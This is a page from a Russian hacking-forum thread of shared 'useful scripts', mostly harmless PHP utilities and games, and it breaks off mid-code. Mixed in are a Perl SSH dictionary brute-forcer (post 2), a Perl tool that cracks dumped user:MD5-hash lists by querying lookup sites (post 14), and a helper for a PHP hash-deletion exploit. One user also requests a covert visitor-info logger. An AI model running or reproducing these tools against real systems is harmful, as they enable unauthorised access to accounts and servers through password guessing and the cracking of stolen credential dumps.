Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3
    чистилка кода

    для случаев когда есть грязный код, который в ручную неудобно чистить, написал скрипт(он еще много для чего пригодица)
    PHP:
    $dirty '</td>
    </tr>
    </table>
    <table>
            <tr>
                <td class="content">код который нужен</td>
            </tr>
    </table>'
    ;
    $n strpos($dirty,'<table'); //считаем кол-во символов от начала кода до нужного нам места
    $clear substr($dirty$n);//берем код начиная с символа $n до конца
    $clear // - готово
    у меня был массив набитый такими таблицами с херней в коде,этим скриптом очистил
     
    1 person likes this.
  2. heks

    heks Banned

    Joined:
    24 Aug 2007
    Messages:
    729
    Likes Received:
    95
    Reputations:
    12
    незнаю точно выкладывали ли тут бруте shh если нет то вот он



    #!/usr/bin/perl
    #c0dex by m0x.lk || ~censored~ Team ||
    system ("clear");
    system ("cls");
    system ("color 02");
    print "\n\n";
    print "\t\t\tc0dex by m0x.lk\n\n";
    print "\tm0x.lk || ~censored~ Team";
    print "\t\t BruteSSH by m0x.lk\n";
    sleep 1;

    use strict();
    use Net::SSH;

    $host=$ARGV[0];
    $user=$ARGV[1];
    $passdict=$ARGV[2] || die "\n[+]Perl Usage: BruteSSH.pl host user dict\n";
    print "\n\n";
    $i = 1;
    open (D,"<$passdict") or die "Diccionario no encontrado\n";
    while(<D>)
    {
    $try = $_;
    chomp $try;

    $t = my $ssh = Net::SSH::perl->new($host,debug=>1,use_pty=>1);
    $ssh->login($user, $try);
    print "\n";
    print "[+] Obteniendo Pass";
    print "\n";
    print $i++ . ": Fallo - $try\n";

    print "'$try - $i intentos";
    last;
    $t->close;
    }
    close(IN);
     
  3. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3
    функция меняет кусок кода или текста, выделенный вами, на то что хотите:
    функция:
    PHP:
    <?
    function 
    replacer($a$start$end$replacement)
    {
            if (
    is_array ($a))
        {
            for (
    $i=0$i<count($a); $i++)
            {
        
    $result[] = preg_replace('!'.$start.'(.*?)'.$end.'!si'$replacement$a[$i]);
            }
        }
            else
        {
        
    $result preg_replace('!'.$start.'(.*?)'.$end.'!si'$replacement$a);
        }
    return 
    $result;
    }
    ?>
    использование:
    PHP:
    <?
    $a 'привет, меня зовут Корвин'//текст или массив в котором нужно произвести замену, если массив то без ' '
    $start 'меня'//начало заменяемого, это может быть символ или слово, оно тоже будет заменено
    $end 'зовут'//конец заменяемого
    $replacement 'йа'//то, на что меняем, если на пустоту, то ставим ' '

    $str replacer($a$start$end$replacement); // готово, измененный текст помещен в $str
    echo $str;
    //print_r ($str); //если массив
    ?>
    если пригодица,подкиньте репы=)
     
    2 people like this.
  4. D0S

    D0S Elder - Старейшина

    Joined:
    6 Jan 2007
    Messages:
    44
    Likes Received:
    7
    Reputations:
    0
    Мой первый сексуальный опыт с пхп. :D
    Граббер радиостанций с shoutcast.org
    PHP:
    <table cellpadding="0" cellspacing="0" style="border:1px solid #000000">
    <tr>
    <th>
    <?
    if (!$addr){
    $EXTERNALPAGE = importPage("http://www.shoutcast.com/directory/index.phtml?startat=0&numresult=30&s=gabber");
    }
    else {
    $EXTERNALPAGE = importPage($addr);
    }
    function importPage( $addr ) {

      $pattern1 = '|(http://)([^/]*)/{0,1}(.*)|';
      $base = "";
      if (preg_match($pattern1, $addr, $list)) {
        $server = "http://".$list[2];
        $fullpath = $list[3];
        $pattern11 = '|(.*)/([^/]*)$|';

        if ( preg_match($pattern11, $fullpath, $list) ) {
          $path = $list[1];
          $fname = $list[2];
        } else {
          $path = "";
          $fname = $fullpath;
        }
        if ($path) $path = "/".$path;
        $base = $server.$path;
      }

      $arr = @file($addr);
      if ( !$arr ) return "Page not found!";
      $str = join( "", $arr );

      $pattern2 = '|<table border="0" cellpadding="0" cellspacing="0" align="center">(.*)<td nowrap align="center" width="10">|sei';
      if (preg_match($pattern2, $str, $list)) $str = $list[1];

      $pattern3 =
        '/(<img\s.*?src\s*=\s*("{0,1}))([^">]*)(\2[^>]*>)/sei';

      $str = preg_replace($pattern3,
        "stripslashes((strpos('\\3','ttp:')<=0) ".
               "?((strspn('\\3','/')<=0)".
                 "?'\\1$base/\\3\\4'".
                 ":'\\1$server\\3\\4' )".
               ":'\\0')",
        $str);

      $pattern4 =
        '/(<a\s.*?href\s*=\s*("{0,1}))([^">]*)(\2[^>]*>)/sei';
      $str = preg_replace($pattern4,
        "stripslashes((strpos('\\3','ttp:')<=0)&&".
                     "(strpos('\\3','ailto:')<=0) &&".
                     "(Ord('\\3')!=Ord('#')) ".
               "?((strspn('\\3','/')<=0)".
                 "?'\\1$base/\\3\\4'".
                 ":'\\1$server\\3\\4' )".
               ":'\\0')",
        $str);

    $str= str_replace('<a href="http://www.shoutcast.com/directory/index.phtml?orderby=title&s=drum&numresult=30 "id="dirlinks">Description</a>', 'Description', $str);
    $str= str_replace('<a href="http://www.shoutcast.com/directory/index.phtml?orderby=listeners&s=drum&numresult=30 "id="dirlinks">Listeners/Max</a>', 'Listeners / Max', $str);
    $str= str_replace('<a href="http://www.shoutcast.com/directory/index.phtml?orderby=bitrate&s=drum&numresult=30 "id="dirlinks">Bitrate</a>', 'Bitrate', $str);
    $str= str_replace('<a href="http://www.shoutcast.com/directory/index.phtml?orderby=content&s=drum&numresult=30 "id="dirlinks">Type</a>', 'Type', $str);

      return $str;
    }

    ?>

    <?= $EXTERNALPAGE?>
    </th>
    </tr>
    </table>
    ЗЫ. Щас я видоуроки с евгением поповым досмотрю еще че нить придумаю... :D
     
    3 people like this.
  5. alexman90

    alexman90 Banned

    Joined:
    25 Oct 2007
    Messages:
    81
    Likes Received:
    74
    Reputations:
    -5
    Прошу выложить у кого есть работоспособный прокси чекер... а то я сегодня ночью пролистал ВСЮ тему, скачал 5 прокси чекеров на пхп, но как начал проверять....не пашут... вот гляньте http://fata1team.onep.ru/proxy-chekers/proxy_cheker.php - это первый. а вот этот вообще оказался только прокси листом... где прокси давно дохлые... http://fata1team.onep.ru/proxy-chekers/proxy-cheker1.php. и ещё... http://fata1team.onep.ru/proxy-chekers/proxy-cheker2.php - в этот я впихнул в файл proxy.txt список рабочих проксей...но ни чё не выдаёт... и пробовал пихать в файл proxyes.txt... тоже безрезультатно=(( может в бесплатных хостингах проблема? хотя на онеп.ру есть даже сокеты... зы ещё тестил на джино-нет.ру и на freehostia.com... объясните пожалуйста в чём тут дело...
     
  6. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    прокси-чекер

    Вот 100% рабочий:
    PHP:
    <?php 

    // Ensure that the timeouts from fsockopen don't get reported as errors (possible, depends on the php server config) 
       
    error_reporting(0); 
    // Limit the amount of proxies that can be tested at any one time 
       
    $maximum_proxies_to_test 50
    // Enter a password (if required) to protect the page 
       
    $password ''

    // Actual proxyjudge part of the page 
       
    function return_env_variables() 
       { 
          echo 
    '<pre>'."\n"
          foreach (
    $_SERVER as $header => $value 
          { 
            if ((
    strpos($header 'REMOTE')!== false || strpos($header 'HTTP')!== false || strpos($header 'REQUEST')!== false) && ( strpos($header 'HTTP_HOST') !== 0)) 
            { 
            echo 
    $header.' = '.$value."\n"
            } 
          } 
          echo 
    '</pre>'
       } 

    // Function to go away and get the page (calls through the proxy back to itself) 
       
    function get_judge_page($proxy
       { 
       
    // Depending on the server environment, this timeout setting may not be available.     
          
    $timeout 15
          
    $proxy_cont ''
          list(
    $proxy_host$proxy_port) = explode(":"$proxy); 
          
    $proxy_fp fsockopen($proxy_host$proxy_port$errornumber$errorstring$timeout); 
          if (
    $proxy_fp
          { 
             
    stream_set_timeout($proxy_fp$timeout); 
             
    fputs($proxy_fp"GET " $_SERVER['SCRIPT_NAME'] . "?test HTTP/1.0\r\nHost: " $_SERVER['SERVER_NAME'] . "\r\n\r\n"); 
             while(!
    feof($proxy_fp)) 
             { 
                   
    $proxy_cont .= fread($proxy_fp,4096); 
             } 
             
    fclose($proxy_fp); 
             
    $proxy_cont substr($proxy_contstrpos($proxy_cont,"\r\n\r\n")+4); 
          } 
          return 
    $proxy_cont;    
       } 

    // Check for the control string to see if it's a valid fetch of the judge 
       
    function check_valid_judge_response($page
       { 
          if(
    strlen($page) < 5
             return 
    false
          return 
    strpos($page'REMOTE_ADDR') !== false
       } 

    // Check for the IP addresses 
       
    function check_anonymity($page
       { 
          if(
    strpos($page$_SERVER['LOCAL_ADDR']) !== false
             return 
    false
          return 
    true
       } 

    // Takes and tests a proxy 
    // 0 - Bad proxy 
    // 1 - Good (non anon) proxy 
    // 2 - Good (anonymous) proxy 
       
    function test_proxy($proxy
       { 
          
    $page get_judge_page($proxy); 
          if(!
    check_valid_judge_response($page)) 
             return 
    0
          if(!
    check_anonymity($page)) 
             return 
    1
          return 
    2
       } 

    ////////// Main Page //////////// 

    // If this is a judge request, just return the environmental variables 
       
    if(getenv('QUERY_STRING') == "test"
       { 
          
    return_env_variables(); 
       } 
    // Else check whether we have been passed a list of proxies to test or not 
    // Should really use $_POST but it's been left as $HTTP_POST_VARS for older versions of php (3.x) 
       
    elseif( (isset($HTTP_POST_VARS['action']) && $HTTP_POST_VARS['action'] === 'fred') && 
               (isset(
    $HTTP_POST_VARS['proxies']) && $HTTP_POST_VARS['proxies'] != '') && 
               ( (
    strlen($password) == 0) || (isset($HTTP_POST_VARS['password']) && $HTTP_POST_VARS['password'] === $password) )) 
       { 
          
    $proxies explode("\n"str_replace("\r"""$HTTP_POST_VARS['proxies']), $maximum_proxies_to_test 1); 
           
       
    // Set the overall time limit for the page execution to 10 mins 
          
    set_time_limit(600); 
           
       
    // Set up some arrays to hold the results 
          
    $anon_proxies = array(); 
          
    $nonanon_proxies = array(); 
          
    $bad_proxies = array(); 
        
       
    // Loop through and test the proxies 
          
    for($thisproxy 0$thisproxy < ($maximum_proxies_to_test count($proxies) ? count($proxies) : $maximum_proxies_to_test); $thisproxy += 1
          { 
               
    $draculalol htmlspecialchars($proxies[$thisproxy]);
             echo 
    '' $draculalol ''
             
    flush(); 
             switch(
    test_proxy($proxies[$thisproxy])) 
             { 
                case 
    2
                  echo 
    ' - <font color="green">Анонимная</font><br>' "\n"
                   
    $anon_proxies[count($anon_proxies)] = $proxies[$thisproxy]; 
                   break; 
                case 
    1
                  echo 
    ' - <font color="yellow">Не анонимная</font><br>' "\n"
                   
    $nonanon_proxies[count($nonanon_proxies)] = $proxies[$thisproxy]; 
                   break; 
                case 
    0
                  echo 
    ' - <font color="red">Не рабочая</font><br>' "\n"
                   
    $bad_proxies[count($bad_proxies)] = $proxies[$thisproxy]; 
                   break; 
             } 
          } 
        
          echo 
    '<pre>'
          echo 
    '<br><b><font color="green" size="2">Анонимные прокси:</font></b>' "\n"
          for(
    $thisproxy 0$thisproxy count($anon_proxies); $thisproxy += 1
             echo 
    $anon_proxies[$thisproxy] . "\n"
          echo 
    '<br><b><font color="yellow" size="2">Не анонимные прокси:</font></b>' "\n"
          for(
    $thisproxy 0$thisproxy count($nonanon_proxies); $thisproxy += 1
             echo 
    $nonanon_proxies[$thisproxy] . "\n"
          echo 
    '<br><b><font color="red" size="2">Не рабочие прокси:</font></b>' "\n"
          for(
    $thisproxy 0$thisproxy count($bad_proxies); $thisproxy += 1
                
    $xek htmlspecialchars($bad_proxies[$thisproxy]);
             echo 
    $xek "\n"
          echo 
    '</pre>'
       } 
    // Just a blank call of the page - show the form for the user to fill in 
       
    else 
       {  
         
          echo 
    '<form method="POST" action="' $_SERVER['SCRIPT_NAME'] . '">' "\n"
          echo 
    '<input type="hidden" name="action" value="fred">' "\n"
          echo 
    '<textarea name="proxies" cols=50 rows=10></textarea><br>' "\n";
          if(
    strlen($password) > 0)    
             echo 
    'Password: <input type="password" name="password" size="15"><br>' "\n"
          echo 
    '<input type="submit" value="Старт">' "\n"
          echo 
    '</form>' "\n"
       } 
    ?> 
     
    1 person likes this.
  7. alexman90

    alexman90 Banned

    Joined:
    25 Oct 2007
    Messages:
    81
    Likes Received:
    74
    Reputations:
    -5
    .:EnoT:. Пасиб... видно с хостингами на которых у меня акки что-то не то...
     
  8. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Небольшой (и не знаю насколько полезный) скриптег, для вычисления hash_del_key переменных для php4 и php5, описанных в статье Евгения Минаева "Роковые ошибки Php" (http://forum.antichat.ru/thread54355.html), в треде кто-то спрашивал как их вычислять, вот скрипт:
    PHP:
    <?php
    //вычисление hash_del_key для переменных php4 и php5
            
    $h 5381;
            
    $st='s';//здесь имя переменной для которой считать хеш
            
    for ($i=0;$i<strlen($st)+1;$i++)
                 {
                  
    $h += ($h << 5);
                  
    $h ^= ord($st[$i]);
                  }
            echo 
    "hash_del_key_php4: $h<br>";//вывод хеша php4
            
    $h 5381;
            for (
    $i=0;$i<strlen($st)+1;$i++)
                 {
                  
    $h += ($h << 5);
                  
    $h += ord($st[$i]);
                  }
            echo 
    "hash_del_key_php5: $h";//вывод хеша
    ?>
     
    5 people like this.
  9. GrAmOzEkA

    GrAmOzEkA Elder - Старейшина

    Joined:
    25 Jun 2006
    Messages:
    235
    Likes Received:
    76
    Reputations:
    29
    Создание скриншота сайта
    Работает под виндой на PHP 5 >= 5.2.2
    Code:
    <?php
    $browser = new COM("InternetExplorer.Application");
    $handle = $browser->HWND;
    $browser->Visible = true;
    $browser->Navigate("http://ya.ru");
    while ($browser->Busy) {
        com_message_pump(4000);
    }
    $im = imagegrabwindow($handle, 0);
    $browser->Quit();
    imagepng($im, "iesnap.png");
    ?>
    
     
    1 person likes this.
  10. lexa

    lexa Elder - Старейшина

    Joined:
    14 Jan 2005
    Messages:
    75
    Likes Received:
    11
    Reputations:
    -2
    переводит текст в картинку..

    Code:
    <?
       $text = "rufiles.ru";
       $pic=ImageCreate(130,30); //(breite, hцhe)
       $col1=ImageColorAllocate($pic,0,0,0);
       $col2=ImageColorAllocate($pic,255,255,255);
       ImageFilledRectangle($pic, 0, 0, 500, 30, $col2);
       ImageString($pic, 3, 5, 8, $text, $col1);
       Header("Content-type: image/jpeg");
       ImageJPEG($pic);
       ImageDestroy($pic);
    ?>
     
  11. bober189

    bober189 New Member

    Joined:
    16 Dec 2007
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    народ помогите нарыть скриптец...чтобы можно было инфу о клиенте подробную как в античате ( http://old.antichat.ru/util/whois/ ) так чтобы текстом на почту приходило в случае если я размещу его не на своем сайте.Помогите оч надо...
     
  12. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    758
    Likes Received:
    1,053
    Reputations:
    291
    Action Script: Имитирует падающие шарики
    Code:
    function fall( ) {
    // Add acceleration due to gravity
    this.speedY += GRAVITY;
    // Reduce the speed due to friction
    this.speedY *= FRICTION;
    // Assume both forces work exclusively in the Y direction
    this._y += this.speedY;
    // Make the clip bounce up when it hits the "floor" (a line)
    if (this._y > 400) {
    this._y = 400;
    this.speedY = -this.speedY * ELASTICITY;
    }
    }
    function drag( ) {
    // When the user clicks on a clip, make it draggable
    // and stop animating it via onEnterFrame.
    this.startDrag( );
    delete this.onEnterFrame;
    // We could save a function call by using the following:
    // this.onMouseMove = updateAfterEvent;
    // because the onMouseMove( ) handler calls only one function.
    // However, we use the following function definition in case
    // you want to add extra features, such as range checking
    // to prevent clips from being dragged off stage.
    this.onMouseMove = function( ) {
    updateAfterEvent( );
    };
    }
    function drop( ) {
    // Initialize the drop animation and
    // stop the clip being draggable.
    // The initial y velocity is zero.
    this.speed.y = 0;
    this.stopDrag( );
    this.onEnterFrame = fall;
    }
    // MAIN CODE
    // Create 20 ball clips
    for (var i = 0; i < 20; i++) {
    var ball:MovieClip = this.createEmptyMovieClip("ball" + i, i);
    ball.lineStyle(6, 0x0, 100);
    ball.moveTo(0, -3);
    ball.lineTo(1, -3);
    ball._x = Math.random( ) * 550;
    ball._y = Math.random( ) * 200;
    ball.speedY = 0;
    ball.onEnterFrame = fall;
    ball.onPress = drag;
    ball.onRelease = ball.onReleaseOutside = drop;
    }
    //Initialize physical constants
    var GRAVITY:Number = 0.5;
    var FRICTION:Number = 0.995;
    var ELASTICITY:Number = 0.85;
    // Draw the ground line
    this.lineStyle(0, 0xDDDDDD, 100);
    this.moveTo(0, 400);
    this.lineTo(550, 400);
    
     
  13. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    758
    Likes Received:
    1,053
    Reputations:
    291
    на те
    _http://www.personalica.com/images/picDrWe3d
     
  14. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,325
    Likes Received:
    1,199
    Reputations:
    252
    [perl] Md5 hash site cracker

    HTML:
    #!/usr/bin/perl
    use Digest::MD5 qw(md5_hex);
    use LWP::Simple qw($ua get);
    $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.4');
    use strict;
    
    sub trim($){
    	my $string = shift;
    	my $string =~ s/^\s+//;
    	my $string =~ s/\s+$//;
    	return $string;
    }
    my $proxy = "";
    
    
    
    sub getcracked($){
    	my $hash = $_[0];
    	my $cracked;
    	my %h_sites;
    	my %h_regexes;
    	$h_sites{"md5-db.com"} = "search.php?hash=$hash";
    	$h_sites{"alimamed.pp.ru"} = "md5/?md5e=&md5d=$hash";
    	$h_sites{"md5.rednoize.com"} = "?p&s=md5&q=$hash";
    	$h_sites{"gdataonline.com"} = "qkhash.php?mode=txt&hash=$hash";
    	$h_sites{"ice.breaker.free.fr"} = "md5.php?hash=$hash";
    	$h_sites{"md5.xpzone.de"} = "?string=$hash&mode=decrypt";
    	$h_regexes{"md5-db.com"} = "<ul><li>\"(.*?)\"<\/li><\/ul>					<\/span>";
    	$h_regexes{"alimamed.pp.ru"} = "<b>(.*?)<\/b><br>";
    	$h_regexes{"md5.rednoize.com"} = "(.+)";
    	$h_regexes{"gdataonline.com"} = "<b>(.*?)<\/b><\/td><\/tr>";
    	$h_regexes{"ice.breaker.free.fr"} = "<b><br><br> - (.*?)<br><br><br>";
    	$h_regexes{"md5.xpzone.de"} = "Code: <b>(.*?)<\/b><br>";
    	foreach my $key(keys %h_sites){
    		#print "[+] CHECKING\tSITE: $key \n\t\tSCRIPT: $h_sites{$key}\n\t\tREGEX: $h_regexes{$key}\n";
    		print "[+] CHECKING\tSITE: $key\n";
    		if($cracked==1){
    			last;
    		}
    		else{
    			my $con = HTTP::Request->new(GET => $proxy . "http://$key/$h_sites{$key}");
    				 $con->header(Accept => 'text/xml,application/xml,application/xhtml+xml,text/html');
    			my $content = $ua->request($con);
    			if ($content->is_success) {
    				if($content->content =~ m/$h_regexes{$key}/i){
    					if(md5_hex($1) eq $hash){
    						print "[+] Found match $hash - $1\n\n";
    						return $1;
    						$cracked=1;
    					}
    					else{
    						return 0;
    					}
    				}
    			}
    			else {
    				print $content->status_line . "\n";
    			}
    		}
    	}
    	if($cracked==0){#No GET sites cracked our hash, move onto POST
    		return &postcracked($hash);
    	}
    }
    
    sub postcracked{
    	my $hash = $_[0];
    	my $cracked;
    	my %h_sites;
    	my %h_regexes;
    	my %h_posts;
    
    	$h_sites{"md5decrypter.com/"} = "hash=$hash&submit=Decrypt%21";
    	$h_sites{"md5encryption.com/?mod=decrypt"} = "hash2word=$hash";
    	$h_sites{"hashreverse.com/index.php?action=view"} = "hash=$hash&Submit2=Search+for+a+SHA1+or+MD5+hash";
    	$h_sites{"securitystats.com/tools/hashcrack.php"} = "inputhash=$hash&type=MD5&Submit=Submit";
    	$h_sites{"hashchecker.com/index.php"} = "search_field=$hash&Submit=search";
    	$h_sites{"md5crack.it-helpnet.de/index.php?op=search"} = "md5=$hash";
    	$h_sites{"mmkey.com/md5/home.asp?action=look"} = "md5text=$hash&look=+FIND+"; #Slow
    	
    	$h_regexes{"md5decrypter.com/"} = "<b class='red'>Normal Text: <\/b>(.*?)\n<br\/><br\/>";
    	$h_regexes{"md5encryption.com/?mod=decrypt"} = "<b>Decrypted Word:<\/b> (.*?)<br \/>";
    	$h_regexes{"hashreverse.com/index.php?action=view"} = "Following results were found:<br><ul><li>(.*?)<\/li><\/ul>";
    	$h_regexes{"securitystats.com/tools/hashcrack.php"} = "<BR>$hash = (.*?)<\/td>";
    	$h_regexes{"hashchecker.com/index.php"} = "<li>$hash is <b>(.*?)<\/b>";
    	$h_regexes{"md5crack.it-helpnet.de/index.php?op=search"} = "<td>$hash<\/td><td>(.*?)<\/td><\/tr><\/table>";
    	$h_regexes{"mmkey.com/md5/home.asp?action=look"} = "<input  size=\"40\"  name=\"rs2\" value=\"(.*?)     #Slow                                       \" color=\"red\">";
    	
    	
    		foreach my $key(keys %h_sites){
    			if($cracked==1){
    				last;
    			}
    			else{
    			#print "[+] CHECKING\tSITE: $key \n\t\tPOST: $h_sites{$key}\n\t\tREGEX: $h_regexes{$key}\n";
    			print "[+] CHECKING\tSITE: $key\n";
    			my $con = HTTP::Request->new(POST => $proxy . "http://" . $key);
    				 $con->content_type('application/x-www-form-urlencoded');
    				 $con->content($h_sites{$key});
    			my $content = $ua->request($con);
    			if ($content->is_success) {
    				if($content->content =~ m/$h_regexes{$key}/i){
    					my $fhash = $1;
    					if(md5_hex($fhash) eq $hash){
    						print "[+] Found match $hash - $fhash\n\n";
    						return $fhash;
    						$cracked=1;
    					}
    					else{
    						print "\n$fhash\n\n";
    					}
    				}
    			}
    			else{
    				print "[-] Error: " . $content->status_line . "\n";
    			}
    		}
    	}
    	if($cracked==0){
    		return 0;
    	}
    }
    
    sub usage{
    	print "USAGE: <user:hash list> <result list>\n";
    	print "EX: dump.txt finish.txt\n";
    	exit;
    }
    
    
    &usage unless @ARGV==2;
    my $hashlist = $ARGV[0];
    my $resultlist = $ARGV[1];
    open("zile", $hashlist) || die "Couldn't open file\n";
    my @lines=<zile>;
    close("zile");
    chomp(@lines);
    
    foreach my $line(@lines){
    	if($line =~ m/^(.*?):([a-f0-9]{32})$/i){
    		print "[+] Cracking $1 with $2\n";
    		print "Username: $1\nHash: $2\n\n";
    		my $cracky = &getcracked("$2");
    		if($cracky){
    			open(LOG,">>$resultlist");
    			print LOG "$1:$cracky\n";
    			close(LOG);
    		}
    		else{
    			print "[-] Didn't find match\n";
    		}
    	}
    	else{
    		print "$line doesn't match user:md5\n";
    	}
    }
    Code:
    USAGE: <user:hash list> <result list>
    EX: dump.txt finish.txt
     
    2 people like this.
  15. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Не нашёл темы "скрипты от скуки", решил запостить сюда.
    Вобщем написал карточную игру типо блекджека. Короче получилось русское народное очко. Вышло прикольно. Работает на сессиях =)
    PHP:
    <?php
        session_start
    ();
        function 
    rand_card() {
            if(!
    $_SESSION['cards_a']) {
                
    $array = array();
            } elseif(!
    $_SESSION['cards_b']) {
                
    $array $_SESSION['cards_a'];
            } else {
                
    $array array_merge($_SESSION['cards_a'], $_SESSION['cards_b']);
            }
            
    $rand_one rand(211);
            
    $rand_two rand(14);
            if(!
    in_array(array($rand_one$rand_two), $array) && $rand_one != 5) {
                return array(
    $rand_one$rand_two);
            } else {
                return 
    rand_card();
            }
        }
        function 
    session_kill($a false) {
            
    $_SESSION['cards_a'] = '';
            
    $_SESSION['cards_b'] = '';
            if(
    $a) {
                
    $_SESSION['good'] = '';
                
    $_SESSION['bad'] = '';
            }
        }
        if(
    $_SERVER['QUERY_STRING'] == 'clear_score') {
            
    session_kill(true);
        }
        if(!
    $_SESSION['good']) {
            
    $_SESSION['good'] = 0;
        }
        if(!
    $_SESSION['bad']) {
            
    $_SESSION['bad'] = 0;
        }
        echo(
    '<title>Двадцать одно</title>');
        
    $array rand_card();
        if(
    $_SERVER['QUERY_STRING'] != 'stop' || !$_SESSION['cards_a']) {
            
    $_SESSION['cards_a'][] = $array;
        }
        
    $all = array( => 'Валет'=> 'Дама'=> 'Король'=> '6'=> '7'=> '8'=> '9'10 => '10'11 => 'Туз' );
        echo(
    '<table><tr>');
        
    $sum_a 0;
        foreach(
    $_SESSION['cards_a'] as $card) {
            
    $sum_a += $card[0];
            echo(
    '<td><img src="img/'.$card[0].'/'.$card[1].'.bmp" /><br><div align="center"><b>'.$all[$card[0]].'</b></div></td>');
        }
        echo(
    '</tr></table><br>Ваши очки: <b>'.$sum_a.'</b><br>');
        if(
    $sum_a 21) {
            echo(
    'Вы проиграли (<b>Перебор</b>)<br><a href="'.$_SERVER['PHP_SELF'].'">Назад</a>');
            
    $_SESSION['bad']++;
            
    session_kill();
        } elseif(
    $_SERVER['QUERY_STRING'] != 'stop') {
            echo(
    '<a href="'.$_SERVER['PHP_SELF'].'">Ещё</a> | <a href="'.$_SERVER['PHP_SELF'].'?stop">Хватит</a>');
        } else {
            
    $array rand_card();
            
    $_SESSION['cards_b'][] = $array;
            echo(
    '<br><table><tr>');
            
    $sum_b 0;
            foreach(
    $_SESSION['cards_b'] as $card) {
                
    $sum_b += $card[0];
                echo(
    '<td><img src="img/'.$card[0].'/'.$card[1].'.bmp" /><br><div align="center"><b>'.$all[$card[0]].'</b></div></td>');
            }
            echo(
    '</tr></table><br>Очки компьютера: <b>'.$sum_b.'</b><br>');
            if(
    $sum_b $sum_a && $sum_b <= 21) {
                echo(
    'Вы проиграли<br><a href="'.$_SERVER['PHP_SELF'].'">Назад</a>');
                
    $_SESSION['bad']++;
                
    session_kill();
            } elseif(
    $sum_b 21) {
                echo(
    'Вы выиграли (<b>Перебор</b>)<br><a href="'.$_SERVER['PHP_SELF'].'">Назад</a>');
                
    $_SESSION['good']++;
                
    session_kill();
            } elseif((
    $sum_a == 21  && $sum_b == 21) || ($sum_a == 20  && $sum_b == 20)) {
                echo(
    'Ничья<br><a href="'.$_SERVER['PHP_SELF'].'">Назад</a>');
                
    session_kill();
            } else {
                echo(
    '<META HTTP-EQUIV="Refresh" CONTENT="2; URL='.$_SERVER['PHP_SELF'].'?stop">');
            }
        }
        echo(
    '<div style="position: absolute; top: 5%; right: 5%;"><table width="200"><td>Побед:</td><td><b>'.$_SESSION['good'].'</b></td></tr><tr><td>Проигрышей:</td><td><b>'.$_SESSION['bad'].'</b></td></tr></table><div align="center"><a href="'.$_SERVER['PHP_SELF'].'?clear_score">Очистить счёт</a></div></div>');
    ?>
    Картинки брать отсюда. Вот пример скрипта. Так сказать - игра с компом.
     
    #275 NOmeR1, 2 Feb 2008
    Last edited: 2 Feb 2008
    1 person likes this.
  16. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,325
    Likes Received:
    1,199
    Reputations:
    252
    Скрипт рандомно выводит разные картинки в подписи...

    PHP:
    <?php

        $directory 
    'sig';
        
    $dir opendir($directory);
        while(
    $file readdir($dir))
        {
            if (
    $file != "." && $file != "..")
            {
                
    $sig[] = $file;
            }
        }

        
    $sigs    count($sig) - 1;
        
    $random    rand(0$sigs);

        
    $jpg $png $gif = (substr($sig[$random], -3))    ?    '1'    '';
        
    $jpeg = (substr($sig[$random], -4))    ?    '1'    '';

        if (
    $sigs 0)
        {
            echo 
    'Empty directory '.$directory.'<br/>Please upload image files';
        }

        if (
    substr($sig[$random], -3) == "jpg" || substr($sig[$random], -4) == "jpeg")
        {
            
    header('Content-type: image/jpeg');
            
    $tmp file_get_contents($directory."/".$sig[$random]);
            
    $img base64_encode($tmp);
            echo 
    base64_decode($img);
        }
        else
        if (
    substr($sig[$random], -3) == "png")
        {
            
    header('Content-type: image/png');
            
    $tmp file_get_contents($directory."/".$sig[$random]);
            
    $img base64_encode($tmp);
            echo 
    base64_decode($img);
        }
        else
        if (
    substr($sig[$random], -3) == "gif")
        {
            
    header('Content-type: image/gif');
            
    $tmp file_get_contents($directory."/".$sig[$random]);
            
    $img base64_encode($tmp);
            echo 
    base64_decode($img);
        }
        else
        {
            echo 
    'Only filetype gif, jpg, jpeg, png';
        }
    ?>
    [​IMG]
     
    1 person likes this.
  17. cylaaaan

    cylaaaan Elder - Старейшина

    Joined:
    31 Aug 2006
    Messages:
    0
    Likes Received:
    44
    Reputations:
    8
    Грабер из сайта kanicq.ru для проверки номера на инвиз.
    Работает через аномайзер webwarper.net
    Использует curl

    PHP:
    <?php

    $new 
    '123456789'// номер 
     
    $cr=curl_init("http://webwarper.net/ww/~av/kanicq.ru/invisible/?method=2");
      
    curl_setopt($crCURLOPT_USERAGENT"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)");
      
    curl_setopt($crCURLOPT_HTTP_VERSIONCURL_HTTP_VERSION_1_0);
      
    curl_setopt($crCURLOPT_TIMEOUT20);
      
    curl_setopt($crCURLOPT_HEADER1);
      
    curl_setopt($crCURLOPT_POSTFIELDS"human=1&uin=$new&youwereadded=on&uin4login=&password4login=");
      
    curl_setopt($crCURLOPT_RETURNTRANSFER1);
      
    curl_setopt($crCURLOPT_REFERER"http://icq-online.ru");
      
    $r curl_exec($cr);
      
    curl_close($cr); 
    $s "echo '$r'";

    if ( 
    preg_match ("/Free for chat/i" "$s")) { $status "Готов к общению"; } 
    elseif ( 
    preg_match ("/Online/i"  ,"$s")) { $status "Онлайн"; } 
    elseif ( 
    preg_match ("/Away/i" "$s")) { $status "Отошел"; } 
    elseif ( 
    preg_match ("/N\/A/i" "$s")) { $status "Недоступен"; } 
    elseif ( 
    preg_match ("/Occupied/i" "$s")) { $status "Занят"; } 
    elseif ( 
    preg_match ("/DND/i" "$s")) { $status "Не беспокоить"; }
    elseif ( 
